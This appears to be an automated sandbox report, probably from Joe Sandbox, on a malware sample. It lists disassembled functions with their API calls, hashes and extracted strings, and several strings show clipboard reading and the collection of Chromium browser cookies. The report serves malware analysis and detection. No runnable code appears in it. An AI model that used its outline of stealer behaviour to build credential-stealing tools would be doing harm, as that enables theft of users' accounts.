Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 92e831a09bc4f936f48e8eeb5ce323eeb4de5efd6650885b8006177c34b915f1
Instruction ID: 185172400866e4ae2881ea4d0131f492a55f0fd6362865a65d31d09921d293dc
Opcode Fuzzy Hash: 92e831a09bc4f936f48e8eeb5ce323eeb4de5efd6650885b8006177c34b915f1
Instruction Fuzzy Hash: 42416870208B82DFC324CF28C498716BBE1BB89314F04465DD4EA8BB91DB35E659CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00427F84 Relevance: 1.6, APIs: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00428071

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: bf016d29e845508b4c29d0072d113b8df78977f943dd86dea3f8dc8c8d2ed8b8
Instruction ID: 21573400e3ca828b42bd540557a661cbeabd0db8bcf4d465cb8ddca8d915cba3
Opcode Fuzzy Hash: bf016d29e845508b4c29d0072d113b8df78977f943dd86dea3f8dc8c8d2ed8b8
Instruction Fuzzy Hash: 9A414770108B829FD315CF28C498746FFE0BB5A314F04875DD0EA8BB91D775A619CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00436209 Relevance: 1.6, APIs: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043638B

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 58b5376ab79715266d38842c771b014d24dd78366dfdce20fb51004989b06f61
Instruction ID: 57a5b52b1dba13f0fb7b71c5e03f91b2e2e218f0aa26cdb764fcf0a20072f155
Opcode Fuzzy Hash: 58b5376ab79715266d38842c771b014d24dd78366dfdce20fb51004989b06f61
Instruction Fuzzy Hash: 65410770509342AFE708DF11C5A072BBBE2EFCA709F15991CE0851B381C779C94A8F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00435F1F Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00436001

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cf479fc7f12fc99e722106fa3c3008013ec3b7fe3fd27b656824b1d85b0085cc
Instruction ID: 23712f21be747c25dae20e80d5a1b49733b7d245948cfec0266e9d122107ec55
Opcode Fuzzy Hash: cf479fc7f12fc99e722106fa3c3008013ec3b7fe3fd27b656824b1d85b0085cc
Instruction Fuzzy Hash: 3B219074519301ABD308CF20DAA072F7BE2AB86308F158A2DF48557251EB35C9058B8A

Uniqueness

Uniqueness Score: -1.00%

Function 00433B50 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00433BF1

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 54449b854ee1baebf3dc2fe8c903120477d739f3de66941c925630f34d378c1f
Instruction ID: 0fd3648b48a7544cf81d28ba84819feb0670e69c12155dd868ef03761d14a466
Opcode Fuzzy Hash: 54449b854ee1baebf3dc2fe8c903120477d739f3de66941c925630f34d378c1f
Instruction Fuzzy Hash: F9111871208301AFD704CF15D46475BFBE5EBC5329F108A1DE8A90B691CB79EA09CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 004375CD Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00437658

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cc0bdeeb390416a8005f9aaf9f86a7cb8d3b6ea8d4e88d9dbda576cfd526ac67
Instruction ID: 13577f52a53989cb91e50d4060b8e90c8ca223ec1dc92ff7deb6a5357cfe3386
Opcode Fuzzy Hash: cc0bdeeb390416a8005f9aaf9f86a7cb8d3b6ea8d4e88d9dbda576cfd526ac67
Instruction Fuzzy Hash: F30120715083519FE310CF04D99470FBBA2EBC4328F248A4DE8A82B285D375E9098BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00433C2A Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00433CB4

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 568252abd8bdcc9c59ee4889d44cb61b75dc80544815d0b9ec631bb4bbfb7d65
Instruction ID: 6d027317d9507f32588684f48b86e6a4e16b8ed02588133254db7ad3e02295f4
Opcode Fuzzy Hash: 568252abd8bdcc9c59ee4889d44cb61b75dc80544815d0b9ec631bb4bbfb7d65
Instruction Fuzzy Hash: 1C01C8701083409FE314CF10C46471BBBE1EBC9328F208E4DE8A917691C779D949CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 02D77E55 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02D77EA6

Memory Dump Source

Source File: 00000000.00000002.1992264656.0000000002D77000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D77000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d77000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 8270873721002e8c6d5049c54371369bd7a8e37928894e30993f27c7e2eb7521
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 13112A79A00208EFDB01DF98C985E99BBF5AB08350F158094F9489B361D775EA50EF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042C500 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(?,?), ref: 0042C541
OpenClipboard.USER32 ref: 0042C553
GetClipboardData.USER32 ref: 0042C576
CloseClipboard.USER32 ref: 0042C6AD

Strings

7, xrefs: 0042C60A
:, xrefs: 0042C606
8, xrefs: 0042C612
;, xrefs: 0042C5FE
9, xrefs: 0042C5F6

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction ID: ec00451678d786202fcc9b385dd1a0758b5b4489dde3fc94fbb9c3a647e150fa
Opcode Fuzzy Hash: 76df721bf2a579621502fc47aaa496d3d10c4b1d72995d62b2f3639b8e2e78c9
Instruction Fuzzy Hash: 9E51CFB0608790DFC720DF38E18571ABBE0AF15314F54895ED8DA8B642D338E946DB6B

Uniqueness

Uniqueness Score: -1.00%

Function 02CF49A7 Relevance: 5.5, Strings: 4, Instructions: 501COMMON

Download Yara Rule

Strings

IEND, xrefs: 02CF4EE5
IHDR, xrefs: 02CF4DF0
IDAT, xrefs: 02CF4E6C
), xrefs: 02CF4A54

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 4ccdbaa75ae868ee336c7b0459e5c41996805ad7b9ec11b17da927287f3cb160
Instruction ID: 826116910977f1b4076afbe69a01521b23169384acd0c7f812d314dfa400c26b
Opcode Fuzzy Hash: 4ccdbaa75ae868ee336c7b0459e5c41996805ad7b9ec11b17da927287f3cb160
Instruction Fuzzy Hash: E812E071A043848FD798CF29C89076B7BE1EF85304F05866DEB858B391D379DA09CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02CF092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02CF0966
GetProcAddress., xrefs: 02CF09DC, 02CF09DF, 02CF09E4
., xrefs: 02CF095F

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: b4964778d27dd5c9aea483cc72df7d8fe5fb0e80ad3e6696e126dd7367174339
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 333168B6900609CFEB50CF99C880AAEBBF9FF48724F24404AD941A7215D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004052F0 Relevance: 3.4, Strings: 2, Instructions: 851COMMON

Download Yara Rule

Strings

0, xrefs: 00405C8A
8, xrefs: 00405C82

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 74219af944f1d0cf607542fdc4b406d5d0331be3774f0d6c31aafd409cb9e22a
Instruction ID: e90677fc5bc6961723399dbea62cc0af4d041e1e5ad0231ce18586d502c8b4a7
Opcode Fuzzy Hash: 74219af944f1d0cf607542fdc4b406d5d0331be3774f0d6c31aafd409cb9e22a
Instruction Fuzzy Hash: 5B7245716087409FD714CF18C880B9BBBE2EF98314F58892EE98997391D379D984CF96

Uniqueness

Uniqueness Score: -1.00%

Function 02CF55DB Relevance: 3.3, Strings: 2, Instructions: 809COMMON

Download Yara Rule

Strings

0, xrefs: 02CF5EF1
8, xrefs: 02CF5EE9

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 1159ab4a8af15f81d356408494dcd2cb53999e129f3fd7c2265e99bb87108bde
Instruction ID: e7531719c6f5deb4020ef68a6c3b0100203c3751f38bd8d3662ab4be346caea9
Opcode Fuzzy Hash: 1159ab4a8af15f81d356408494dcd2cb53999e129f3fd7c2265e99bb87108bde
Instruction Fuzzy Hash: EB7269716083409FD7A4CF18C880B9ABBE2BFC8354F58892DFA9987391D775D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D13BAA Relevance: 3.1, Strings: 2, Instructions: 643COMMON

Download Yara Rule

Strings

+u7, xrefs: 02D14D48
Z8J*, xrefs: 02D14C82

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: +u7$Z8J*
API String ID: 0-3577212644
Opcode ID: 136a0e178bc15a717095d99fc1853dd9a03ca692159141228eba0c7e471279e9
Instruction ID: 3f3eb6f24a102b89bfc1d4bc8246c50861bed4c0fae120adaa81875f62180884
Opcode Fuzzy Hash: 136a0e178bc15a717095d99fc1853dd9a03ca692159141228eba0c7e471279e9
Instruction Fuzzy Hash: 9C327E74544B829AD725CF34C4A4BF2BBE1AF56308F08496CD1FB8B782D779A406CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02CF1267 Relevance: 3.0, Strings: 2, Instructions: 518COMMON

Download Yara Rule

Strings

JC, xrefs: 02CF1375
, xrefs: 02CF1530

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: $JC
API String ID: 0-571460022
Opcode ID: 8237440b2d564ce322f90f5c6f76332585ae6391083ee7ebcefec0e17e6b40ae
Instruction ID: 388cfc7f790ec6e0569c3b3e8074d754263c31152d3433a7e292a40cd13cb25f
Opcode Fuzzy Hash: 8237440b2d564ce322f90f5c6f76332585ae6391083ee7ebcefec0e17e6b40ae
Instruction Fuzzy Hash: C312F470908791CBE7A48E16C091367BBE29FC2314F1CC95ED6DE476D2D3B89649CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00439AF0 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00439B90
R-,T, xrefs: 00439C80

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: beaf6ab74895c25652dfa29760b513187473a2e199e85751990dc79056bd5903
Instruction ID: 6b83697ab9183c4f383082baa5586d9202c04d839401bfe1d176d3d13e2e3641
Opcode Fuzzy Hash: beaf6ab74895c25652dfa29760b513187473a2e199e85751990dc79056bd5903
Instruction Fuzzy Hash: B2A1CC71A043128BCB24CF18C49066FB7E1FF88724F199A1DE8959B391D778EC51CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 02D29D57 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

R-,T, xrefs: 02D29EE7
R-,T, xrefs: 02D29DF7

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: cd5dd1e870cf72724b0d866ceb1e3723b186c0745ae19588130c5378219dccae
Instruction ID: 18925b8599ec00ff20cf7d1ea19fc66f6990335be9f50f44a522c203cf018870
Opcode Fuzzy Hash: cd5dd1e870cf72724b0d866ceb1e3723b186c0745ae19588130c5378219dccae
Instruction Fuzzy Hash: B9A1CE71A043228BC714CF18C4907AAB3E1FF98728F298A5CE9959B391D735EC59CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00413E4A Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

Z%_#, xrefs: 00413F49
", xrefs: 00414057

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: "$Z%_#
API String ID: 0-3398817662
Opcode ID: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction ID: 76f333f57adbc6c8ebcadfef8fb2acd4b1b22d2439071723875123babc06b249
Opcode Fuzzy Hash: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction Fuzzy Hash: 2C61FCB0101B419BE3258F21D8A97E7BBE1FF46349F54890DD1EB4B281DBBA6149CF84

Uniqueness

Uniqueness Score: -1.00%

Function 02D040B1 Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

", xrefs: 02D042BE
Z%_#, xrefs: 02D041B0

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: "$Z%_#
API String ID: 0-3398817662
Opcode ID: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction ID: 2230949c02e9b589bcb6b92590a86e8768075a77edd7fb4f78721431dc2b62c6
Opcode Fuzzy Hash: ceb84fe9739bdc1f62c3e15358b27742fe77a0e0a6a87763ca9f11eddebe1c37
Instruction Fuzzy Hash: 9561EFB0101B819BE7258F20C8A9BE7BBE1FF46349F54891CC5EB4B281D7B66549CF84

Uniqueness

Uniqueness Score: -1.00%

Function 02D04EB0 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

F, xrefs: 02D04FA3, 02D05BEB
onqp, xrefs: 02D04F25

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: onqp$F
API String ID: 0-3477909023
Opcode ID: 5636853cdc4e6313a43929cd248a86b0bcf19cc5822eacfbfe171bbd9458d07b
Instruction ID: 651b3453b04921a674f40c968a704d2213ff33bfdb1de2d33edc8c94988fdadf
Opcode Fuzzy Hash: 5636853cdc4e6313a43929cd248a86b0bcf19cc5822eacfbfe171bbd9458d07b
Instruction Fuzzy Hash: 332160B86193418BD768CF04C4A0B6FBBE2AFC6708F54151CEA868B791C7759811CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D142EB Relevance: 1.9, Strings: 1, Instructions: 676COMMON

Download Yara Rule

Strings

P6D/, xrefs: 02D14786

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: P6D/
API String ID: 0-4117495492
Opcode ID: a840cc439b2e62fd33296f488684244062af140e18fd85e7f9474e6811fbe092
Instruction ID: 227ad35d47f5ff83d533775f53dfae7c23049aeb30ffb3fd9ec89e821bb5f353
Opcode Fuzzy Hash: a840cc439b2e62fd33296f488684244062af140e18fd85e7f9474e6811fbe092
Instruction Fuzzy Hash: B5328070544B829AE725CF34D4A4BE3BBE1AF16309F08496CD0FB8B782D779A446CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02D142EE Relevance: 1.9, Strings: 1, Instructions: 650COMMON

Download Yara Rule

Strings

P6D/, xrefs: 02D14786

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: P6D/
API String ID: 0-4117495492
Opcode ID: c16701a6ed728ec4d9e005f966cae99fdda97c22a307ae63ec63ddceca2a6b7b
Instruction ID: de8b15c611fcb8a5ae725ee459d74625cd4e86ef79e381f3440d7703f37bedaa
Opcode Fuzzy Hash: c16701a6ed728ec4d9e005f966cae99fdda97c22a307ae63ec63ddceca2a6b7b
Instruction Fuzzy Hash: 2B328070544B829AE725CF34D4A4BE3BBE1AF16309F08496CD0FB8B782D7796446CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02D0C7A7 Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

onqp, xrefs: 02D0CACD

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 484dc11344905c3ebec77af382d47984beb26b877959679f2d85a1e54cd5bce5
Instruction ID: 0b900ed46af385084908b3b7f3eb9370415ecae676454bc5adfea874593d30dc
Opcode Fuzzy Hash: 484dc11344905c3ebec77af382d47984beb26b877959679f2d85a1e54cd5bce5
Instruction Fuzzy Hash: FCA1D0B19182018BD714DF18C891B6BB3F1EF91318F084A1EE882973A1E375ED14CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8C0 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

onqp, xrefs: 0041AB46

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 576b50878007f57056aa4ec584ddbe303c73b910b04e5cf17aa30e054ff9cf9e
Instruction ID: 9a6a00b11931bfd5125c6228de1fad642e1a8a21050320c2279e65f0c98fc608
Opcode Fuzzy Hash: 576b50878007f57056aa4ec584ddbe303c73b910b04e5cf17aa30e054ff9cf9e
Instruction Fuzzy Hash: BF8135B19052018BD710DF14C852BBBB3B5EF81368F19451EE89657381E378EDA1C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 02D0AB27 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

onqp, xrefs: 02D0ADAD

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 2051f58950d6556b3dc70e8865951f271fa6186780459c926919e30a701ddc1f
Instruction ID: 90fdb2604856ecba3d0c5f7157f60d48639783d5f3e70317bbe33181749df45a
Opcode Fuzzy Hash: 2051f58950d6556b3dc70e8865951f271fa6186780459c926919e30a701ddc1f
Instruction Fuzzy Hash: A281E1B1A043019BD714DF14C891B7BB3B6EF81328F094618EA959B3E0E775ED44CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041A420 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

'QRS, xrefs: 0041A556

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: 'QRS
API String ID: 0-187708292
Opcode ID: 5fd25a412ef79cf5a768d72506b86813809bfb08d29d66108cc2cca95cfb9ca5
Instruction ID: 32227454a23ff9270a383fc47471354c59474b61149620c9ac9ef1c92598dfac
Opcode Fuzzy Hash: 5fd25a412ef79cf5a768d72506b86813809bfb08d29d66108cc2cca95cfb9ca5
Instruction Fuzzy Hash: 977112B15052108BCB14DF14C852AB7B3F1EFA5324F19811DE8924B391E378DD91C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 02D0A687 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

'QRS, xrefs: 02D0A7BD

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: 'QRS
API String ID: 0-187708292
Opcode ID: ee4f23d677ea0c1aa34874a7e52b4231360893fc24e1726cc3047dceb4e36e8d
Instruction ID: 16ced86e5150e4d3327f8940b1fc3164c8d48cf594bf5528446e55653fc45a7b
Opcode Fuzzy Hash: ee4f23d677ea0c1aa34874a7e52b4231360893fc24e1726cc3047dceb4e36e8d
Instruction Fuzzy Hash: 8D71AEB19043108BDB18DF18C8A2B6673F1EF95368F19865CE9924B3E1E735ED05C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 004065F0 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

,, xrefs: 00406747

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 3396d62e2048fa093097fda78be89d79a03400b317c59f17132475d5f544bc36
Instruction ID: c6cf47c53411e6d83904256831e1a1016e7efc88929b593bc1aad792f5064332
Opcode Fuzzy Hash: 3396d62e2048fa093097fda78be89d79a03400b317c59f17132475d5f544bc36
Instruction Fuzzy Hash: 1CB11871509381AFD314CF58C88475BFBE0AFA9304F444A6EF49997382C775DA28CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00413C46 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

[info] collected cookies file of the chromium-based browser, xrefs: 00413D16

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID:
String ID: [info] collected cookies file of the chromium-based browser
API String ID: 0-3235166063
Opcode ID: fe1f27bd79c86945ddee36ea89530b1ee207199345b48d43739a08dc803a1af2
Instruction ID: a5db71ad896cb5a85abb4fe5762872ae52644060d2c271ddd36e9c91ed33445c
Opcode Fuzzy Hash: fe1f27bd79c86945ddee36ea89530b1ee207199345b48d43739a08dc803a1af2
Instruction Fuzzy Hash: FF412A70115B40CBE329CB34C895BEBB7B2BB45305F445A2DD0EB572C2DBB875468B54

Uniqueness

Uniqueness Score: -1.00%

Function 02D03EAD Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

[info] collected cookies file of the chromium-based browser, xrefs: 02D03F7D

Memory Dump Source

Source File: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cf0000_iPUk65i3yI.jbxd

Yara matches

Similarity

API ID:
String ID: [info] collected cookies file of the chromium-based browser
